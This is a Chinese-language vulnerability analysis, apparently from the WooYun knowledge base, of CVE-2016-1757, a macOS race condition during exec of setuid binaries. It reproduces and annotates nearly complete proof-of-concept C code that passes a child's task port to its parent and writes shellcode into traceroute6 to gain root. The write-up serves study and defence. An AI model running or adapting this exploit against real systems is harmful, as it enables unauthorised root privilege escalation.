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CVE-2016-1757简单分析 | WooYun知识库

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CVE-2016-1757简单分析

0x00 摘要


灵犀一指可攻可守,进攻时也是一指,是天下第一指法,与移花接玉这个天下第一掌法同样都是非兵刃的第一绝技

—陆小凤传奇

最近的10.11.4补丁修复了一个利用条件竞争获得代码执行权限的漏洞,经过对内核源码以及poc的理解之后,先对问题作出一个简单的分析。

0x01 基础知识

1.1 exec函数流程

我在OSX内核加载mach-o流程分析中比较详细的分析了exec整个执行流程中比较重要的几个函数,这个是比较精简的一个流程图。

exec函数图

1.2 mach_vm_* API

Mach提供了一种用户层对虚拟内存的操作方式。一系列对vm_map_t作出操作的API可以对虚拟内存作出很多操作。这里的vm_map_t就是PORT

这一系列的API有很多,这里只是简单的介绍一下POC中会使用到的API。

1.2.1 mach_vm_allocate

#!c
mach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);

map中分配size个字节大小的内存,根据flags的不同会有不同的处理方式。address是一个I/O的参数(例如:获取分配后的内存大小)。

如果flags的值不是VM_FLAGS_ANYWHERE,那么内存将被分配到address指向的地址。

1.2.2 mach_vm_region

#!c
kern_return_t
mach_vm_region(
    vm_map_t         map,
    mach_vm_offset_t    *address,       /* IN/OUT */
    mach_vm_size_t  *size,          /* OUT */
    vm_region_flavor_t   flavor,        /* IN */
    vm_region_info_t     info,          /* OUT */
    mach_msg_type_number_t  *count,         /* IN/OUT */
    mach_port_t     *object_name)       /* OUT */

获取map指向的任务内,address地址起始的VM region(虚拟内存区域)的信息。目前标记为flavor只有VM_BASIC_INFO_64

获得的info的数据结构如下。

#!c
struct vm_region_basic_info_64 {
    vm_prot_t       protection;
    vm_prot_t       max_protection;
    vm_inherit_t        inheritance;
    boolean_t       shared;
    boolean_t       reserved;
    memory_object_offset_t  offset;
    vm_behavior_t       behavior;
    unsigned short      user_wired_count;
};

1.2.3 mach_vm_protect

#!c
kern_return_t
mach_vm_protect(
    mach_port_name_t task,
    mach_vm_address_t address,
    mach_vm_size_t size,
    boolean_t set_maximum,
    vm_prot_t new_protection)

addressaddress+size这一段的内存设置内存保护策略,new_protection就是最后设置成为的保护机制。

1.2.4 mach_vm_write

#!c
kern_return_t
mach_vm_write(
    vm_map_t            map,
    mach_vm_address_t       address,
    pointer_t           data,
    __unused mach_msg_type_number_t size)

address指向的内存改写内容。

1.3 Ports

Ports是一种Mach提供的task之间相互交互的机制,通过Ports可以完成类似进程间通信的行为。每个Ports都会有自己的权限。

#!c
#define MACH_PORT_RIGHT_SEND        ((mach_port_right_t) 0)
#define MACH_PORT_RIGHT_RECEIVE     ((mach_port_right_t) 1)
#define MACH_PORT_RIGHT_SEND_ONCE   ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET    ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME   ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_LABELH          ((mach_port_right_t) 5)
#define MACH_PORT_RIGHT_NUMBER      ((mach_port_right_t) 6)

Ports可以在不同的task之间传递,通过传递可以赋予其他taskports的操作权限。例如POC中使用的就是在父进程与子进程之间传递Port得到了对内存操作的权限。

0x02 漏洞原理


在内核处理setuid的程序时存在一个时间窗口,通过这个时间窗口,在进程Port被关闭之前,拥有进程Port的程序可以改写目标进程的任意内存,通过改写内存可以利用目标进程的root权限执行任意的shellcode。

2.1 execv流程漏洞

流程图

load_machfile源码分析

exec_mach_imgact源码分析

在swap_task_map以及exec_handle_suid之间有一个时间窗口,task port还是可以对内存做出修改的。

具体细节可以参考poc,同时也可以参考源码的分析日志。

2.2 捕获时间窗口(灵犀一指)

​时间窗口打开的时机对编写poc非常重要,因为在调用exec之后整个行为都是内核控制的,没有什么直接的办法获取时间窗口,poc中提供的方法是通过不断的调用mach_vm_region,当窗口出现时,也就是从old_map切换到new_map时,mach_vm_region函数获取的address应该是不同的。具体实现在下面的poc源码分析中会提到。

2.3 任意内存写

​在得到窗口打开的时机之后通过上面提到的port以及mach_vm_*的一系列函数就可以做到对目标进程的任意写操作,从而写入shellcode。

2.4 shellcode的执行(移花接木)

​shellcode要写在什么地方才会被执行呢?

​通过对traceroute6的分析,可以看到__text的地址偏移是0x153c,所以通过对该地址的内存改写,可以使得shellcode得到执行。

traceroute6

0x03 POC源码分析


3.1 main

#!c
int main() {
  kern_return_t err;

  // register a name with launchd

  mach_port_t bootstrap_port;
  err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't get bootstrap port", err);
    return 1;
  }

  //创建一个具有接受消息权限的port
  mach_port_t service_port;
  err = mach_port_allocate(mach_task_self(),
                           MACH_PORT_RIGHT_RECEIVE,
                           &service_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't allocate service port", err);
    return 1;
  }

  //为port添加SEND权限
  err = mach_port_insert_right(mach_task_self(),
                               service_port,
                               service_port,
                               MACH_MSG_TYPE_MAKE_SEND);

  if (err != KERN_SUCCESS) {
    mach_error("can't insert make send right", err);
    return 1;
  }

  //
  // 注册一个全局的Port
  // 之后的子进程会继承这个port
  err = bootstrap_register(bootstrap_port, service_name, service_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't register service port", err);
    return 1;
  }

  printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);

  // fork a child
  pid_t child_pid = fork();
  if (child_pid == 0) {
    do_child();
  } else {
    do_parent(service_port);
    int status;
    wait(&status);
  }

  return 0;
}

main函数在建立了port之后之后fork出子程序,开始做各自做的事情。

3.2 do_child

#!c
void do_child() {
  kern_return_t err;

  //查找全局的port
  mach_port_t bootstrap_port;
  err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);

  if (err != KERN_SUCCESS) {
    mach_error("child can't get bootstrap port", err);
    return;
  }

  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, service_name, &service_port);

  if (err != KERN_SUCCESS) {
    mach_error("child can't get service port", err);
    return;
  }

  // create a reply port:
  // 创建一个具有接受消息权限的port
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to allocate reply port", err);
    return;
  }

  // send it our task port
  // 将子进程的port发送给父进程
  task_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = service_port;
  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;

  msg.body.msgh_descriptor_count = 1;

  msg.port.name = mach_task_self();
  msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&msg.header);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to send thread port message", err);
    return;
  }

  // wait for a reply to ack that the other end got our thread port
  // 等待父进程回复
  ack_msg_recv_t reply = {0};
  err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to receive ack", err);
    return;
  }

  // exec the suid-root binary
  // 执行setuid的程序traceroute6
  char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
  char* envp[] = {NULL};
  execve(suid_binary_path, argv, envp);
}

子进程做的事情也非常的简单,将自己的port发送给父进程,确保父进程已经获取到port之后,执行setuid的程序,poc中使用的是traceroute6。

3.3 do_parent

#!c
void do_parent(mach_port_t service_port) {
  kern_return_t err;

  // generate the page we want to write into the child:
  // 申请一页内存,并且会将这一页内存写入子进程
  mach_vm_address_t addr = 0;
  err = mach_vm_allocate(mach_task_self(),
                         &addr,
                         4096,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    mach_error("failed to mach_vm_allocate memory", err);
    return;
  }

  //将0x153c处的写入shellcode
  FILE* f = fopen(suid_binary_path, "r");
  fseek(f, 0x1000, SEEK_SET);

  fread((char*)addr, 0x1000, 1, f);
  fclose(f);

  memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));

  // wait to get the child's task port on the service port:
  // 等待子进程发送过来的port
  task_msg_recv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 service_port,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    mach_error("error receiving service message", err);
    return;
  }

  mach_port_t target_task_port = msg.port.name;

  // before we ack the task port message to signal that the other process should execve the suid
  // binary get the lowest mapped address:
  // 立刻获取内存的信息
  struct vm_region_basic_info_64 region;
  mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
  memory_object_name_t object_name = MACH_PORT_NULL; /* unused */

  mach_vm_size_t target_first_size = 0x1000;
  mach_vm_address_t original_first_addr = 0x0;

  err = mach_vm_region(target_task_port,
                       &original_first_addr,
                       &target_first_size,
                       VM_REGION_BASIC_INFO_64,
                       (vm_region_info_t)&region,
                       &region_count,
                       &object_name);

  if (err != KERN_SUCCESS) {
    mach_error("unable to get first mach_vm_region for target process\n", err);
    return;
  }

  printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);

  // send an ack message to the reply port indicating that we have the thread port
  ack_msg_send_t ack = {0};

  mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);

  ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
  ack.header.msgh_size = sizeof(ack);
  ack.header.msgh_local_port = MACH_PORT_NULL;
  ack.header.msgh_remote_port = msg.header.msgh_remote_port;
  ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got

  err = mach_msg_send(&ack.header);
  if (err != KERN_SUCCESS) {
    mach_error("parent failed sending ack", err);
    return;
  }

  mach_vm_address_t target_first_addr = 0x0;
  for (;;) {
    // wait until we see that the map has been swapped and the binary is loaded into it:
    // 不断的循环去获取内存的信息
    region_count = VM_REGION_BASIC_INFO_COUNT_64;
    object_name = MACH_PORT_NULL; /* unused */
    target_first_size = 0x1000;
    target_first_addr = 0x0;

    err = mach_vm_region(target_task_port,
                         &target_first_addr,
                         &target_first_size,
                         VM_REGION_BASIC_INFO_64,
                         (vm_region_info_t)&region,
                         &region_count,
                         &object_name);

    if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) {
      // the first address has changed implying that the map was swapped
      // let's try to win the race
      // 当发现获取到的内存信息与之前的不同
      // 说明竞争的窗口打开了
      // 可以尝试去写入shellcode了
      break;
    }

  }

  //写入shellcode
  mach_vm_address_t target_addr = target_first_addr + 0x1000;
  mach_msg_type_number_t target_size = 0x1000;
  mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
  mach_vm_write(target_task_port, target_addr, addr, target_size);

  printf("hopefully overwrote some code in the target...\n");
  printf("the target first addr changed to %zx\n", target_first_addr);
  //子进程窗口关闭后内存已经被改写,正常执行到entry时,将执行shellcode。
}

父进程的行为比较复杂:

  • 构建shellcode
  • 获取子进程port
  • 根据子进程的内存信息得到竞争的窗口打开的时机
  • 写入shellcode,等待shellcode执行。

0x04 小结


​通过梳理poc与内核源码后,在了解了execv函数一系列的执行流程,已经内核的一系列内存操作的工具函数之后,这个漏洞其实就是一个简单的逻辑漏洞,通过一个旧的port可以在port被关闭前,任意改写进程的内存地址,当目标进程碰巧是setuid的进程时,就具有了root权限执行任意代码的能力。

​通过poc的分析,应该学习巩固的知识如下:

  • execv的执行流程
  • port的使用
  • mach_vm_* API

​充分理解poc的原理后,可以进一步对这个漏洞的Exploit to get kernel code execution做出更详细的分析,从而反思与总结,如何在开发中预防这种漏洞的产生以及如何通过测试或者代码审计的手段发现类似的漏洞。

0x05 参考


  1. https://www.freebsd.org/cgi/man.cgi?query=vnode
  2. https://www.freebsd.org/cgi/man.cgi?query=namei&apropos=0&sektion=0&manpath=FreeBSD+10.2-RELEASE&arch=default&format=html
  3. http://www.manualpages.de/OpenBSD/OpenBSD-5.0/man9/pmap_create.9.html
  4. Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS
  5. Race you to the kernel!

ps:
这是我的学习分享博客http://turingh.github.io/

欢迎大家来探讨,不足之处还请指正。


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